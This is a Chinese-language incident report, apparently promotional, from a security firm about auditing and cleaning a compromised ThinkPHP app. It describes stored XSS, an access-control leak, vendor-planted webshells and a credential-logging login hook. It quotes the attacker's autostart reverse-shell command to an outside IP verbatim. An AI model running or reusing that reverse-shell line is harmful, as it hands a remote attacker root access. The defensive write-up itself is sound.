相信有很多站長以及運營網站或App的技術人員都有一些安全上的困擾,尤其是對網站代碼里存在后門文件,以及服務器被植入木馬病毒的安全問題很鬧心,前段時間我們SINE安全接到客戶的安全咨詢,說是找的第三方開發公司做的APP和后臺,運營起來差不多3個月,一開始注冊的會員量不是很多,當注冊達到成千上萬個會員注冊量的時候,就相繼出現了安全上的問題,數據庫總是被篡改,會員信息泄露,以及被阿里云提示的云安全中心,安全事件提醒,尊敬的*玉:云盾云安全中心檢測到您的服務器:47.180.*.*(主服務器)出現了緊急安全事件:自啟動后門,建議您立即進行處理。進程異常行為-反彈Shell和異常網絡連接-反彈shell網絡外連以及惡意腳本代碼執行還有linux可疑命令序列惡意軟件-后門程序等告警,針對這些安全問題,SINE安全老于來給大家科普一下,如何去除網站后門木馬以及代碼漏洞檢測等問題。
攻擊情況介紹:
當天我們SINESAFE收到客戶的電話咨詢,客戶的平臺、APP和H5端、以及后臺遭到黑客入侵,并篡改了數據庫里面的數據,導致平臺的損失過萬,詳細詢問了客戶的平臺架構以及部署的服務器數量,發現客戶用的是Thinkphp架構開發,APP的API接口和H5端以及后臺管理都是在該架構的基礎上開發的,因為這套代碼是客戶從買來后找的第三方公司進行的二次開發,第三方開發公司對里面的代碼后門并不清楚,很多低價賣源碼的,肯定是有利益可圖的。建議大家買來后一定要對網站源碼進行代碼安全審計和網站后門審計服務,尤其是對準備剛上線的APP平臺,對安全問題要重視起來,否則到了后期會員規模上來后,損失的就不止這一點了。
跟客戶進行了詳細的對接,梳理了所有的服務器的信息以及網站源碼的位置,我們的SINE安全工程師立即將代碼打包到本地,進行源代碼安全審計,通過對用戶注冊以及APP里的具體功能代碼,都進行了全面的人工漏洞測試,發現在留言反饋以及會員信息功能,存在XSS跨站漏洞,這個漏洞可以將XSS攻擊代碼植入到后臺里去,當后臺的管理人員查看了反饋的留言或用戶的個人詳情,就會直接觸發該XSS漏洞,XSS漏洞可以獲取到網站后臺的地址,以及管理員的Session和cookies,有了這2個值,黑客就可以登錄后臺了,對APP里的API接口也進行詳細的安全審計,發現存在會員信息泄露漏洞,由于未對UID值進行當前賬號權限判斷,可以越權查看其它UID的會員信息,像手機號以及注冊時間,銀行卡,錢包地址,密碼等等的信息,都可以越權查看,我們SINE安全工程師對代碼中的一些函數功能代碼進行審計,檢測出了源碼作者留的一句話木馬后門,而且還是加密形式免殺webshell,代碼如下:
真是道高一尺魔高一丈,源碼作者留的后門,手段非常高,一般的建站公司技術是沒辦法看出這個文件是木馬代碼的,我們對其網站的訪問日志以及APP的接口日志進行人工檢查,還發現了后臺登錄這里被黑客動了手腳,只要管理員登錄成功會立即把用戶名和密碼寫到/data/目錄下的robots.txt文件中,建議大家日后做檢查代碼的時候先搜索下_encode關鍵詞看看有沒有可疑的,以及搜索關鍵詞eval函數的都有哪些再調用,因為很多一句話木馬都是調用的eval函數,通過對每個代碼的安全審計發現上傳功能的代碼中存在上傳后門具體代碼如下:
后門真是太多了,防不勝防,辛虧客戶找到了我們SINE安全對網站代碼進行了詳細的安全審計和漏洞測試,我們對網站的上傳的目錄進行了腳本執行權限控制,對eval的后門進行了強制刪除,以及對管理后臺登錄這里的后門進行了修復,對一些XSS跨站攻擊的代碼進行了攻擊防護,對所有get post變量提交的參數進行了安全過濾,凡是包含xss跨站代碼的,以及非法植入攻擊代碼的都進行了攔截過濾,并對整套代碼進行了安全加固與防護,也同時對服務器進行了端口安全策略部署和基礎安全設置,如注冊表權限,環境運行賬戶權限,MySQL數據庫的權限分離設置,以及Nginx的運行賬戶進行了設置,防止通過網站后門木馬進行提權拿到服務器權限,如果想要對網站代碼進行后門查找和清除和漏洞人工測試服務的可以向網站漏洞修復服務商SINE安全或鷹盾安全以及啟明星辰,大樹安全等這些服務商尋求技術支持。針對阿里云的云安全中心安全事件提醒,我們讓客戶提供了阿里云賬號和密碼,登錄后,對該安全事件的詳情進行了查看,發現確實是黑客植入了自啟動的后門,我們對Linux系統的自啟動服務進行了查看,發現黑客植入的木馬病毒,每次重啟服務器都會自動啟動該服務,向外發送連接請求,Command: bash -i >& / dev/tcp/1.15.235.160/25670>&1 該命令是直接反彈了Linux root SHELL到1.15.235.160黑客的服務器。我們對該IP進行了阿里云安全組IP限制,以及對系統里的自啟動服務進行了刪除與防篡改部署,至此客戶的APP被黑客攻擊以及篡改數據的問題得到了徹底的解決。也希望我們的解決過程分享,能幫到更多的人。